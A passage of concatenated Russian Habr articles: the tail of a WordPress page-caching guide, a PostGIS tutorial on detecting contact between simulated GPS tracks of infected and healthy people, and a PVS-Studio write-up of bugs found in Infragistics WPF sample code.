Как видно в примере, вся логика помещена в тело *wp\_cache\_postload* и тут уже доступны все функции платформы, включая *get\_current\_user\_id()*. Данный вариант немного медленней предыдущего, но мы получаем безграничные возможности для тонкой настройки страничного кеша.
### О чем не стоит забывать
1. Данные примеры очень упрощены, если будете их использовать в своих проектах — не поленитесь добавить условия для кеширования:
* только GET запросы
* только, если на странице нет ошибок
* только, если нет set-cookie
* только, если статус 200 или 301
2. Эффективность кеша напрямую зависит от его времени жизни. Увеличивая $timeout, потрудитесь продумать инвалидацию кеша при изменении данных.
3. WP Cron запускается позже advanced-cache.php, может просто не срабатывать при высоком кешхите.
### Заключение
Нет ничего сложного в написании собственного страничного кеширования. Разумеется, в этом нет смысла для типичного сайта, но если вы породили монстра — данный материал должен оказаться полезным. | https://habr.com/ru/post/251189/ | null | ru | null |
# Идентификация зараженных людей с помощью пересечения GPS-треков
***В преддверии старта курса [«PostgreSQL»](https://otus.pw/km3nA/) подготовили перевод интересной статьи.***
---
Во времена пандемии COVID-19 правительства предусматривают жесткие меры по выявлению и отслеживанию инфицированных людей. Эти меры включают использование данных мобильных телефонов для отслеживания зараженных людей и их контактов с целью обуздать эпидемию. Эта статья рассказывает, как функции PostGIS можно использовать для выявления пересекающихся участков путей зараженных и здоровых людей посредством пространственно-временного анализа треков.
На этот раз мы не концентрируемся на производительности и тюнинге, а скорее стремимся повысить уровень вашей креативности в отношении пространственного расширения PostgreSQL и его функциональных возможностей.
**Структура статьи выглядит следующим образом:**
1. Настройка структур данных в PostgreSQL.
2. Формирование выборки треков с помощью QGIS
3. Сегментация выборки треков для извлечения отдельных точек.
4. Нахождение пересечений зараженных и здоровых людей для определения возможных контактов.
### Структуры данных
Начнем с определения таблиц, представляющих треки и их точки.
Таблица *mobile\_tracks* является вспомогательной таблицей, хранящей смоделированные треки людей, которые были отобраны с помощью QGIS.
Таблица *mobile\_points* хранит точки, которые являются результатом сегментирования треков. Они также были дополнены таймстампами, которые используются для определения временных пересечений на основе пространственных.
Тестовая зона находится в Вене/Австрия; поэтому я выбрал MGI/Austria 34 (EPSG равный 31286) в качестве подходящей проекции.
```
create table if not exists mobile_tracks
(
gid serial not null
constraint mobile_tracks_ok
primary key,
customer_id integer,
geom geometry(LineString,31286),
infected boolean default false
);
create index if not exists mobile_tracks_geom_idx
on mobile_tracks using gist (geom);
create unique index if not exists mobile_tracks_customer_id_uindex
on mobile_tracks (customer_id);
create table if not exists mobile_points
(
gid serial not null
constraint mobile_points_ok
primary key,
customer_id integer,
geom geometry(Point,31286),
infected boolean,
recorded timestamp
);
create index if not exists mobile_points_geom_idx
on mobile_points using gist (geom);
```
### Треки и точки
Как уже упоминалось вначале, точки я решил сгенерировать на основе треков, которые ранее я преобразовал с помощью QGIS. На рисунке 1 изображены треки зараженных (красным ) и здоровых (зеленым) людей, которые мы взяли за основу.
*Рисунок 1. GPS-треки здоровых и инфицированных людей.*
Для нашего простого примера я сделал следующие допущения:
* Все люди движутся с одинаковой скоростью.
* Треки всех людей стартуют одновременно.
Для выделения отдельных точек для треков я использовал функцию PostGIS ST\_Segmentize следующим образом:
```
with dumpedPoints as (
select (st_dumppoints(st_segmentize(geom, 1))).geom,
((st_dumppoints(st_segmentize(geom, 1))).path[1]) as path,
customer_id,
infected,
gid
from mobile_tracks),
aggreg as (
select *, now() + interval '1 second' * row_number() over (partition by customer_id order by path) as tstamp
from dumpedPoints)
insert
into mobile_points(geom, customer_id, infected, recorded)
select geom, customer_id, infected, tstamp
from aggreg;
```
Запрос генерирует точки каждый метр, последовательно увеличивая соответствующие таймстампы на 1000 миллисекунд.
*Рисунок 2. Полученные GPS-точки.*
### Определение точек пересечения.
Теперь настало время начать анализ. Встречал ли наш инфицированный человек кого-нибудь?
Давайте начнем с простого подхода: выберем точки здоровых людей, которые находились в пределах 2 метров от зараженных с соответствующими временными интервалами в 2 секунды.
```
SELECT distinct on (m1.gid) m1.customer_id infectionSourceCust,
m2.customer_id infectionTargetCust,
m1.gid,
m1.recorded,
m2.gid,
m2.recorded
FROM mobile_points m1
inner join
mobile_points m2 on st_dwithin(m1.geom, m2.geom, 2)
where m1.infected = true
and m2.infected = false
and m1.gid < m2.gid AND (m2.recorded >= m1.recorded - interval '1seconds' and
m2.recorded <= m1.recorded + interval '1seconds')
order by m1.gid, st_dwithin(m1.geom, m2.geom, 2) asc
```
На 3 и 4 рисунках показаны результаты данного запроса, где точки контактов наших индивидов выделены синим цветом. Как упоминалось ранее, этот запрос представляет самое простое решение для идентификации людей, которые встречались.
В качестве альтернативы, здесь также могут использоваться функции PostGIS `ST_CPAWithin и ST_ClosestPointOfApproach` для решения этой проблемы аналогичным образом. Для этого наши точки должны быть смоделированы как траектории.
*Рисунок 3. Точки контактов.*
*Рисунок 4. Точки контактов в увеличении.*
В целях улучшения нашего решения, давайте определим когерентные сегменты пространственной близости и соответствующего времена прохождения. Цель состоит в том, чтобы понять, насколько долго люди находились достаточно близко друг к другу, чтобы иметь реальную возможность заразиться. Полный код запроса вы можете найти в конце статьи.
#### Шаг 1 — aggregStep1
На основе результатов нашего первого запроса мы вычисляем для каждой точки временной интервал до ее предшественницы. Учитывая наши первоначальные допущения, у некогерентных временных сегментов промежутки будут больше 1 секунды.
*Рисунок 5. Временные промежутки между GPS-точками.*
#### Шаг 2 — aggregStep2.
С помощью нашего нового столбца, указывающего временной промежуток между текущей и предыдущей точкой, мы кластеризируем сегменты.
#### Шаг 3 — aggregStep3.
Для каждого кластера мы отнимаем от максимального таймстампа минимальный, чтобы получить интервал совместного пути.
*Рисунок 6. Когерентные сегменты + время совместного пути зараженного/здорового человека.*
#### Шаг 4
Наконец, для каждой комбинации зараженного/здорового человека извлекается сегмент с максимальным временем совместного пути, и с помощью st\_makeline генерируется lineString (см. Рисунок 7).
*Рисунок 7. Максимальное время совместного пути зараженного/здорового человека.*
Несмотря на то, что результаты уже могут служить основой для дальнейшего анализа, наш подход все еще ограничен нашими изначально принятыми допущениями.
Недавно было опубликовано очень многообещающее расширение PostgreSQL под названием MobilityDB, которое предлагает множество функций для решения широкого спектра пространственно-временных задач. [Вы можете почитать эту статью, чтобы узнать больше](https://www.cybertec-postgresql.com/en/intersecting-tracks-of-individuals-mobilitydb/).
```
with points as
(
SELECT distinct on (m1.gid) m1.customer_id infectionSourceCust,
m2.customer_id infectionTargetCust,
m1.gid,
m1.geom,
m1.recorded m1rec,
m2.gid,
m2.recorded
FROM mobile_points m1
inner join
mobile_points m2 on st_dwithin(m1.geom, m2.geom, 2)
where m1.infected = true
and m2.infected = false
and m1.gid < m2.gid AND (m2.recorded >= m1.recorded - interval '1seconds' and
m2.recorded <= m1.recorded + interval '1seconds') order by m1.gid, m1.recorded), aggregStep1 as ( SELECT *, (m1rec - lag(m1rec, 1) OVER (partition by infectionSourceCust,infectionTargetCust ORDER by m1rec ASC)) as lag from points), aggregStep2 as (SELECT *, SUM(CASE WHEN extract('epoch' from lag) > 1 THEN 1 ELSE 0 END)
OVER (partition by infectionSourceCust,infectionTargetCust ORDER BY m1rec ASC) AS legSegment
from aggregStep1),
aggregStep3 as (
select *,
min(m1rec) OVER w minRec,
max(m1rec) OVER w maxRec,
(max(m1rec) over w) -
(min(m1rec) OVER w) recDiff
from aggregStep2
window w as (partition by infectionSourceCust,infectionTargetCust,legSegment)
)
select distinct on (infectionsourcecust, infectiontargetcust) infectionsourcecust,
infectiontargetcust,
(extract('epoch' from (recdiff))) passageTime,
st_makeline(geom) OVER (partition by infectionSourceCust,infectionTargetCust,legSegment)
from aggregStep3
order by infectionsourcecust, infectiontargetcust, passageTime desc
```
---
[Успеть на курс.](https://otus.pw/km3nA/)
--- | https://habr.com/ru/post/503520/ | null | ru | null |
# Проверяем исходный код WPF примеров от компании Infragistics
Мы продолжаем проверять различные C#-проекты с целью демонстрации возможностей статического анализатора кода PVS-Studio. В этой статье мы рассмотрим результаты проверки WPF примеров от компании Infragistics. Сама компания Infragistics является глобальным поставщиком программного обеспечения, основанная в 1989 году. Компания сделала себе имя на разработке компонентов пользовательских интерфейсов для сторонних разработчиков на всех платформах, включая .NET.
В PVS-Studio 6.00 мы в основном реализовали C# диагностики общего плана, опираясь на опыт созданного нами ранее C++ анализатора. Начиная с PVS-Studio 6.01, мы приступили к созданию диагностик, специализированных именно для языка С#. Для старта были выбраны свойства зависимости (DependencyProperty), использующиеся в WPF проектах. На DependencyProperty выбор пал по причине сложности их создания. Сложность в том, что очень легко допустить опечатку в однотипном коде, к которому тяготеют WPF проекты. Нами был разработан ряд диагностик [[3044](http://www.viva64.com/ru/d/0440/), [3045](http://www.viva64.com/ru/d/0441/), [3046](http://www.viva64.com/ru/d/0442/), [3047](http://www.viva64.com/ru/d/0443/), [3048](http://www.viva64.com/ru/d/0444/), [3049](http://www.viva64.com/ru/d/0445/)], специализирующихся именно на анализе и проверке подобных свойств.
Как известно, одной из особенностей DependencyProperty является то, что в большинстве случаев любая ошибка при их регистрации приводит к падению программы на этапе выполнения (в runtime). Волей-неволей программисты исправляют подобные ошибки, вновь и вновь запуская программу. Тем самым на поиски опечатки в шаблонном коде создания DependencyProperty, тратятся драгоценные минуты, а суммарно — целые часы. При этом, как показала практика проверки WPF проектов, не все ошибки в свойствах зависимости очевидны после первого запуска программы.
Первым испытуемым кодом для данных диагностик стал код тестовых примеров от компании [Infragistics](http://www.infragistics.com/). Архив был загружен 02.02.2016 [отсюда](http://www.infragistics.com/samples/wpf/application-samples), количество проектов достигает 11-ти штук, но их можно скачать [все одним архивом](http://dl.infragistics.com/products/NetAdvantage/WPF/Showcases/Infragistics_WPF_Showcase_All_Source.zip).
Проверка исходного кода выполнена с помощью статического анализатора [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) 6.01.
WPF ошибки
----------
Многие проекты построены на основе общего переиспользуемого кода, в котором и найдено большинство ошибок.
**Ошибка N1**
В проекте «IGExtensions.Common.WPF» в файле «LambertConformalConic.cs» была найдена следующая строка регистрации «DependencyProperty»:
```
public static readonly DependencyProperty CentralMeridianProperty
= DependencyProperty.Register("CentralMeridianProperty",
typeof(double), typeof(LambertConformalConic),
new PropertyMetadata(0.0,
new PropertyChangedCallback(UpdateConstants)));
```
[V3045](http://www.viva64.com/ru/d/0441/) WPF: the names of the registered property 'CentralMeridianProperty', and of the property 'CentralMeridian', do not correspond with each other. LambertConformalConic.cs 130
Как можно заметить, при регистрации DependencyProperty в его имени было указанно «CentralMeridianProperty» вместо «CentralMeridian». Ошибка совершается довольно часто, вследствие копирования имени переменной, но таит в себе следующую опасность.
А именно — для записи/чтения в свойство зависимости из C# кода создают следующее свойство-прослойку:
```
public double CentralMeridian {
get { return (double)GetValue(CentralMeridianProperty); }
set { SetValue(CentralMeridianProperty, value); }
}
```
При обращении из xaml разметки, binding пишут на свойство «CentralMeridian». WPF достаточно умный, чтобы найти свойство CentralMeridian и прочитать изначально значение оттуда, но вот изменения значения в CentralMeridian, естественно, подхватываться не будут.
**Ошибка N2**
Продолжая тему опечаток в именах регистрируемых свойств зависимости рассмотрим следующую ошибку в файле «TransverseMercator.cs» проекта «IGExtensions.Common.WPF».
```
public static readonly DependencyProperty CentralMeridianProperty
= DependencyProperty.Register("LongitudeOrigin", typeof(double),
typeof(TransverseMercator), new PropertyMetadata(0.0,
new PropertyChangedCallback(UpdateConstants)));
public double CentralMeridian { .... }
```
[V3045](http://www.viva64.com/ru/d/0441/) WPF: the names of the registered property 'LongitudeOrigin', and of the property 'CentralMeridian', do not correspond with each other. TransverseMercator.cs 95
Как показывает практика, свойства зависимостей прописывают скопом, с помощью множественного дублирования одной строки и последующими правками. Другими словами, с помощью [Copy-Paste](http://www.viva64.com/ru/t/0068/). И нередко где-то в этом блоке однотипного кода пропускают одну переменную и прописывают ей другое имя, которое было рядом в списке. А учитывая, что сам список обычно находится где-нибудь в блокноте [Notepad, Notepad++, Sublime Text и т.д.] рядом в другом окне, проверить создание всех необходимых объектов можно только глазами. Выявлять подобные ошибки очень сложно, т.к. код вполне рабочий, но правда, лишь на половину.
**Ошибка N3**
С ошибками в именах регистрируемых свойств вроде всё ясно, но где еще можно ошибиться при создании DependencyProperty? Ну, например, в типах значений, которые должны в них содержаться, как в файле «PropertyBrushColorEditor.cs» всё того же проекта «IGExtensions.Common.WPF».
```
public static readonly DependencyProperty BrushColorProperty =
DependencyProperty.Register(BrushColorPropertyName,
typeof(Brush), typeof(PropertyBrushColorEditor),
new PropertyMetadata(null, (sender, e) =>
{....})
);
public SolidColorBrush BrushColor
{
get { return (SolidColorBrush)GetValue(BrushColorProperty); }
set { SetValue(BrushColorProperty, value); }
}
```
[V3046](http://www.viva64.com/ru/d/0442/) WPF: the type registered for DependencyProperty does not correspond with the type of the property used to access it.
Если у вас не возникает вопросов, почему неправильно указывать родительских класс " Brush" при регистрации, а в обращении через свойство «BrushColor» указывать наследника «SolidColorBrush», то это хорошо. В противном случаем опишем упрощенный случай такой «игры» с хранимыми типами.
Например, представим простой случай. Создадим простой WPF проект и добавим в класс окна следующее свойство зависимости:
```
public static DependencyProperty MyIndexProperty =
DependencyProperty.Register("MyIndex", typeof(int),
typeof(MainWindow), new FrameworkPropertyMetadata(1));
int MyIndex
{
get { return (int)GetValue(MyIndexProperty); }
set { SetValue(MyIndexProperty, value); }
}
```
В xaml разметке напишем следующее:
```
....Title="MainWindow" Height="350" Width="525"
DataContext="{Binding RelativeSource =
{RelativeSource Mode=Self}}">
Прочитать значение
```
И добавим в класс окна код на событие нажатия кнопки:
```
private void Button_Click(object sender, RoutedEventArgs e)
{
this.Title = this.MyIndex.ToString();
}
```
Всё. Как можно убедиться, всё работает? Двигаем слайдер, число изменяется. Нажимаем на кнопку, и заголовок окна тут же поменял свой текст на текущее значение в слайдере. Кстати, как можно заметить, в TextBlock-е отображаются целочисленные значения.
А теперь заменим при регистрируемом DependencyProperty тип с «int» на общий тип «object»:
```
public static DependencyProperty MyIndexProperty =
DependencyProperty.Register("MyIndex", typeof(object),
typeof(MainWindow), new FrameworkPropertyMetadata(1));
```
Остальное оставим без изменений и снова запустим программу.
Программа запустилась и теперь, когда мы двигаем слайдер, в TextBlock-е отображаются вещественные значения. Как легко догадаться, если мы попробуем нажать кнопку — программа просто упадет, т.к. она не сможет сконвертировать вещественное значение в MyIndexProperty в целочисленное в свойстве MyIndex. Казалось бы, мелочь, но она привела к печальным последствиям.
**Ошибка N4**
Кроме вышеприведенных ошибок, которые относятся к большинству проектов (что особенно печально, ибо их ни разу не заметили и не исправили ни в одном проекте), есть ошибки локальные для одного проекта IGEquityTrading.WPF:
```
public static readonly DependencyProperty
AxisFinancialIndicatorYTemplateProperty =
DependencyProperty.Register("AxisFinancialIndicatorYTemplate",
typeof(DataTemplate),
typeof(DataChartEx),
new PropertyMetadata(default(DataTemplate)));
public DataTemplate AxisCategoryYTemplate{
get { return (DataTemplate)
GetValue(AxisFinancialIndicatorYTemplateProperty); }
set {
SetValue(AxisFinancialIndicatorYTemplateProperty, value); }
}
```
[V3045](http://www.viva64.com/ru/d/0441/) WPF: the names of the property registered for DependencyProperty, and of the property used to access it, do not correspond with each other. DataChartEx.cs 469
И снова Infragistics наступает на те же грабли, вместо регистрируемого имени «AxisFinancialIndicatorYTemplate» создают свойство с именем «AxisCategoryYTemplate».
**Ошибка N5**
```
public static readonly DependencyProperty
FinancialIndicatorSeriesTemplateProperty =
DependencyProperty.Register("FinancialIndicatorTemplate",
typeof(DataTemplate),
typeof(DataChartEx),
new PropertyMetadata(default(DataTemplate)));
public DataTemplate FinancialIndicatorSeriesTemplate {
get { return (DataTemplate)
GetValue(FinancialIndicatorSeriesTemplateProperty); }
set {
SetValue(FinancialIndicatorSeriesTemplateProperty, value); }
}
```
[V3045](http://www.viva64.com/ru/d/0441/) WPF: the names of the property registered for DependencyProperty, and of the property used to access it, do not correspond with each other. DataChartEx.cs 344
В последнем случае ошибка возникла, скорее всего, после рефакторинга, когда решили конкретизировать переменную, и вставили в середину фразы «FinancialIndicatorTemplate» слово «Series». Самое интересное, что поменяли везде, даже в XAML разметке и в "#region", но вот в имени регистрируемого свойства забыли.* ....\Infra\EquityTrading\IGEquityTrading.WPF\App.xaml(123):
* ....\Infra\EquityTrading\IGEquityTrading.WPF\App.xaml(214): FinancialIndicatorSeriesTemplate="{StaticResource FinancialIndicatorSeriesTemplate}"
* ....\Infra\EquityTrading\IGEquityTrading.WPF\Controls\DataChartEx.cs(189): var financialIndicator = FinancialIndicatorSeriesTemplate.LoadContent() as Series;
* ....\Infra\EquityTrading\IGEquityTrading.WPF\Controls\DataChartEx.cs(330): #region FinancialIndicatorSeriesTemplate (DependencyProperty)
* ....\Infra\EquityTrading\IGEquityTrading.WPF\Controls\DataChartEx.cs(336): public DataTemplate FinancialIndicatorSeriesTemplate
* ....\Infra\EquityTrading\IGEquityTrading.WPF\Controls\DataChartEx.cs(349): #endregion FinancialIndicatorSeriesTemplate (DependencyProperty)
* ....\Infra\EquityTrading\IGEquityTrading.WPF\Controls\StockHistoryChart.xaml(646): FinancialIndicatorSeriesTemplate="{StaticResource FinancialIndicatorSeriesTemplate}"
При этом зарегистрированное имя «FinancialIndicatorTemplate» нигде не используется, а к чему приводит такая оплошность, мы уже знаем.
Неспециализированные C# ошибки
------------------------------
В данных сборках от компании Infragistics не нашлось больше WPF ошибок. Как уже говорилось, большинство WPF диагностик рассчитаны именно на предварительное нахождение ошибок еще до компиляции и запуска проекта. А данные проекты с примерами использования компонентов уже были проверены программистами и QA специалистами. Дополнительно проекты смотрели пользователи, которые оценили качество и удобство использования продукта именно по тестовым примерам. Думаю, если они замечали ошибку, то, скорее всего, уведомляли разработчиков.
Естественно, кроме WPF ошибок, в данных сборках есть и другие. Анализатор выдал в сумме несколько сотен предупреждений. Далеко не все из сообщений указывают на настоящие ошибки. Многие предупреждения (например, про сравнение типа double с константой) просто не актуальны для данного типа проектов. Это не страшно, так как анализатор предоставляет несколько механизмов подавления неинтересных сообщений.
В любом случае предупреждений много, и большая их часть свидетельствует об аномалиях в коде. Это настоящие ошибки или код «с запахом». Поэтому рекомендуем авторам проекта самостоятельно выполнить проверку проекта и изучить предупреждения. Здесь же мы пройдемся только по самым интересным из них:
```
public bool IsValid
{
get {
var valid =
double.IsNaN(Latitude) || double.IsNaN(Latitude) ||
this.Weather.DateTime == Weather.DateTimeInitial;
return valid;
}
}
```
[V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions 'double.IsNaN(Latitude)' to the left and to the right of the '||' operator. WeatherStation.cs 25
Программистам жить тяжело. Они должны разбираться не только в самом программировании, но и в той области, где должна работать программа. Вот и получается, что они должны разобраться в предметной области и знать такие слова, как «вира» (Вверх), «майна» (Вниз), «Latitude»(Широта), «Longitude»(Долгота) и т.д. Это только добавляет сложности, особенно если понятия схожи по написанию. Вот и получается, что ошибочно пишем проверку одной и той же переменной: double.IsNaN(Latitude) || double.IsNaN(Latitude).
Следующая ошибка:
```
private static int clipSegment(....)
{
if (xmax > rc.Right && xmax > rc.Right)
{
return -1;
}
}
```
[V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions 'xmax > rc.Right' to the left and to the right of the '&&' operator. Geometry. Geometry.CubicSpline.cs 529
Проверка того, в каких пределах лежит переменная — дело привычное, но вот ошибиться в знаках, а после — и в переменной, которую нужно написать, довольно легко. На самом деле для исключения подобных ошибок просто нужно придерживаться следующего паттерна: общая переменная в условии пишется с разных сторон в выражениях.
```
if (xmin < rc.Right && rc.Right < xmax)
```
Ошибиться сложнее и читается гораздо легче.
P.S. Правда подобный фокус не работает в Entity Framework, при конвертации LINQ кода в SQL-запрос программа упадет. Вот такие вот дела :)
На самом деле в данном проекте Infragistics что-то перемудрил с такими проверками. Кроме выше приведённого кода, подобная ошибка повторилась в следующих строчках:
```
private static int clipSegment(....)
{
....
if (ymin < rc.Top && ymin < rc.Top) //<= здесь
....
if (ymax > rc.Bottom && ymax > rc.Bottom) //<= и здесь
....
}
```
Диагностике [V3001](http://www.viva64.com/ru/d/0381/) мало этих ошибок, и она продолжает экспансию по проекту :). Вот очередной пример её срабатывания:
```
private static bool IsInDesignModeStatic(this Application app)
{
....
if (_isInDesignMode != null && _isInDesignMode.HasValue)
return _isInDesignMode.Value;
....
}
```
[V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions '\_isInDesignMode != null' to the left and to the right of the '&&' operator. NavigationApp.cs 415
В данном случае мы имеем дело не с ошибкой, а с избыточным кодом. Достаточно было написать:
```
if (_isInDesignMode.HasValue)
```
Еще одно срабатывание V3001 отправляет нас к проекту «IgWord.Infrastructure»:
```
void ParagraphSettingsPreviewAdapter_PropertyChanged(
object sender, PropertyChangedEventArgs e) {
....
if (LineSpacingType == Infrastructure.LineSpacingTypes.Exactly
|| LineSpacingType == Infrastructure.LineSpacingTypes.Exactly){
....
}
```
[V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions 'LineSpacingType == Infrastructure.LineSpacingTypes.Exactly' to the left and to the right of the '||' operator. ParagraphSettingsPreviewAdapter.cs 268
Что конкретно здесь хотел сделать разработчик, не очень понятно, но явно не то, что написано.
От V3001, в порядке очереди, прейдем к V3010.
В проекте «IGEarthQuake.WPF», есть пара вызовов функций:
```
public MapViewModel() {
....
WeakPropertyChangedListener.CreateIfNecessary(_service, this);
....
}
```
[V3010](http://www.viva64.com/ru/d/0406/) The return value of function 'CreateIfNecessary' is required to be utilized. MapViewModel.cs 42
```
public TimeLineViewModel(){
....
WeakPropertyChangedListener.CreateIfNecessary(_service, this);
....
}
```
[V3010](http://www.viva64.com/ru/d/0406/) The return value of function 'CreateIfNecessary' is required to be utilized. TimeLineViewModel.cs 50
Собственно, в обоих случаях вызывается одна функция, и она довольно простая. Давайте посмотрим на её реализацию:
```
public static
WeakPropertyChangedListener CreateIfNecessary(object source,
IPropertyChangedListener listener){
INotifyPropertyChanged inpc = source as INotifyPropertyChanged;
return inpc != null ?
new WeakPropertyChangedListener(inpc, listener) : null;
}
```
Действительно, как можно увидеть, никаких глобальных изменений функция не производит, и её результат тоже не используется. Вот и возникает вопрос — а зачем её вообще звали? Подозрительно всё это…
Подобный пример нас ждет и в проекте «IGHospitalFloorPlan.WPF»:
```
private void ParseAllShapefiles() {
....
this.ShapeFilesMaxBounds.Expand(new Thickness(10, 10, 10, 10));
....
}
```
[V3010](http://www.viva64.com/ru/d/0406/) The return value of function 'Expand' is required to be utilized. HospitalView.xaml.cs 52
Её реализация чуть хитрее, но в итоге просто возвращает новый объект, который нигде не используется.
Мы находимся в середине статьи. Вот посмотрите на картинку. Расслабьтесь, а потом мы продолжим.
Одним из самых распространённых типов ошибок является неудачный Copy-Paste кода:
```
public static EsriMapImageryView
GetImageryView(EsriMapImageryStyle imageryStyle){
....
if (imageryStyle ==
EsriMapImageryStyle.UsaPopulationChange2010Overlay)
return EsriMapImageryViews.UsaPopulationChange2010Overlay;
if (imageryStyle ==
EsriMapImageryStyle.UsaPopulationChange2010Overlay)
return EsriMapImageryViews.UsaPopulationChange2010Overlay;
....
}
```
[V3021](http://www.viva64.com/ru/d/0390/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains method return. This means that the second 'if' statement is senseless EsriMapImageryView.cs 97
В данном случае, под одним и тем же условием находится одинаковый код. На данном этапе ошибка представляет собой неудачный (избыточный) Copy-Paste-е кода. Но после рефакторинга может возникнуть ситуация, что программист изменит тело нижестоящей инструкции if, которая никогда не выполняется, что приведет к ошибкам в логике программы.
И посмотрим, какие еще ошибки встречаются в коде компании Infragistics.
На каждую ниже идущую строку было выдано предупреждение [V3022](http://www.viva64.com/ru/d/0391/):
```
public static double GenerateTemperature(GeoLocation location){
....
else if (location.Latitude > 10 || location.Latitude < 25)
....
else if (location.Latitude > -40 || location.Latitude < 10)
....
}
public static WeatherCondition GenerateWeatherCondition(....){
....
else if (location.Latitude > 10 || location.Latitude < 25)
....
else if (location.Latitude > -40 || location.Latitude < 10)
....
}
```
Всё ошибки сводятся к следующему сообщению:
[V3022](http://www.viva64.com/ru/d/0391/) Expression 'location.Latitude > -40 || location.Latitude < 10' is always true. Probably the '&&' operator should be used here.
Что тут можно сказать? Наверно то же самое, что и выше, при описании одной из ошибок V3001. Полезно использовать паттерн, когда одна и та же переменная написана с разных сторон в выражении:
```
if (xmin < rc.Right && rc.Right < xmax)
```
На этом описание ошибок первого уровня закончим и перейдем ко второму и третьему, т.к. один и тот же номер сообщения, в зависимости от ситуации, имеет различный приоритет.
На третьем уровне собраны диагностические сообщения, которые выдаёт анализатор, когда слабо уверен в своей правоте. Также на 3 уровень попадают диагностики, которые актуальны не для всех проектов.
На практике предупреждения 3 уровня редко выявляют настоящие ошибки. Часто это всё же ложные срабатывания или сообщения, которые могут указывать хотя и на корректный код, но имеющий «запах». В любом случае, если есть время, эти диагностики стоит изучить и провести рефакторинг кода.
Начнем с кода c двумя одинаковыми функциями:
```
// 0 reference
public static double Ramp(double a) {
return a - Math.Floor(a);
}
// 1 reference
public static double Frac(double a) {
return a - Math.Floor(a);
}
```
[V3013](http://www.viva64.com/ru/d/0389/) It is odd that the body of 'Ramp' function is fully equivalent to the body of 'Frac' function (28, line 33). Math.cs 28
Если функция Frac имеет хоть какой-то смысл, т.к. подобная функция была в Pascal, но вот функция Ramp не имеет никакого аналога, или я их не нашёл. Собственно, счетчики количества мест, где используются функции, говорят сами за себя (см. комментарии).
Дабы далеко не уходить от ошибки V3013, рассмотрим случай, когда данная ошибка появилась на втором уровне.
```
public void StartCurrent()
{
StartTask("Current");
}
public void StopCurrent()
{
StartTask("Current");
}
```
[V3013](http://www.viva64.com/ru/d/0389/) It is odd that the body of 'StartCurrent' function is fully equivalent to the body of 'StopCurrent' function (503, line 507). DataViewModel.cs 503
По всей видимости, во втором случае перепутали функцию «StartTask» с «StopTask». Эти обе функции есть в коде, и действуют они довольно однозначно и согласно их названиям.
Далее рассмотрим серию сообщений, связанных с нижеприведенным кодом:
```
{
IsUpdating = true;
....
IsUpdating = false;
}
```
Подобный код встречается аж 4-х местах (в каждой из сборок)* [V3008](http://www.viva64.com/ru/d/0395/) The 'IsUpdating' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 201, 195. GeoRegion.cs 201
* [V3008](http://www.viva64.com/ru/d/0395/) The 'IsUpdating' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 212, 205. GeoRegion.cs 212
* [V3008](http://www.viva64.com/ru/d/0395/) The 'IsUpdating' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 226, 216. GeoRegion.cs 226
* [V3008](http://www.viva64.com/ru/d/0395/) The 'IsUpdating' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 244, 236. GeoRegion.cs 244
Изначально кажется, что данная переменная используется для межпотокового взаимодействия. Но как выяснилось, на практике данная переменная нигде не встречается, кроме строк, для которых сработала диагностика.
Хорошо, предположим, что эту переменную решат использовать для межпотоковой синхронизации. И вот тут как раз нас ждет неприятный сюрприз. Объявление переменой выглядит следующим образом:
```
protected bool IsUpdating = false;
```
Как видите, нет ключевого слова «volatile», а как следствие, компилятор с успехом её оптимизирует и работать будет совершенно не так, как хотелось бы.
Что еще интересного нашлось в коде? Например, лишние вычисления:
Пример 1:
```
public static void Normalize(....)
{
var x = rect.X < boundingRect.X ? boundingRect.X : rect.X;
x = (rect.X + rect.Width) > boundingRect.Right ?
boundingRect.X : rect.X;
}
```
[V3008](http://www.viva64.com/ru/d/0395/) The 'x' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 96, 95. RectEx.cs
Пример 2:
```
private static GradientStopCollection fromInterpolation(....){
....
Color color=ColorTool.FromAHSV(ahsv[0],
ahsv[1],
ahsv[2],
ahsv[3]);
color = ColorTool.FromARGBInterpolation(min, p, max[i].Color);
....
}
```
[V3008](http://www.viva64.com/ru/d/0395/) The 'color' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 165, 163. BrushTool.cs
Иногда встречаются вообще забавные фрагменты кода:
```
private void UpdateAutoSavedState() {
AutoSaved = true;
AutoSaved = false;
}
```
[V3008](http://www.viva64.com/ru/d/0395/) The 'AutoSaved' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 691, 690. ShellViewModel.cs 691
Для тех, кто сомневается в данном коде привожу объявление свойства:
```
private bool autoSaved;
public bool AutoSaved
{
get { return autoSaved; }
set { autoSaved = value; }
}
```
И опять ни «volatile», ни чего-то подобно, что говорило бы о скрытом смысле данного действия — нет.
Перейдем еще к одной группе строк с ошибкой [V3029](http://www.viva64.com/ru/d/0418/):
```
public void OnPropertyChanged(PropertyChangedEventArgs ea) {
....
var index = this.SelectedBrushCollectionIndex;
....
if (index >= 0)
DebugManager.LogData(this.BrushCollectionList[index].ToText());
if (index >= 0)
this.SelectedBrushCollectionIndex = index;
....
}
```
[V3029](http://www.viva64.com/ru/d/0418/) The conditional expressions of the 'if' operators situated alongside each other are identical. Check lines: 338, 339.
```
public static void EnableSeriesMouseDoubleClick(
this XamGeographicMap geoMap, bool isEnabled = true){
....
if (geoMap != null) geoMap.SeriesMouseLeftButtonDown +=
OnSeriesMouseLeftButtomDown;
if (geoMap != null) geoMap.SeriesMouseLeftButtonUp +=
OnSeriesMouseLeftButtonUp;
....
if (geoMap != null) geoMap.SeriesMouseLeftButtonDown -=
OnSeriesMouseLeftButtomDown;
if (geoMap != null) geoMap.SeriesMouseLeftButtonUp -=
OnSeriesMouseLeftButtonUp;
....
}
```
[V3029](http://www.viva64.com/ru/d/0418/) The conditional expressions of the 'if' operators situated alongside each other are identical. Check lines: 92, 93. GeoMapAdapter.cs 92
[V3029](http://www.viva64.com/ru/d/0418/) The conditional expressions of the 'if' operators situated alongside each other are identical. Check lines: 100, 101. GeoMapAdapter.cs 100
```
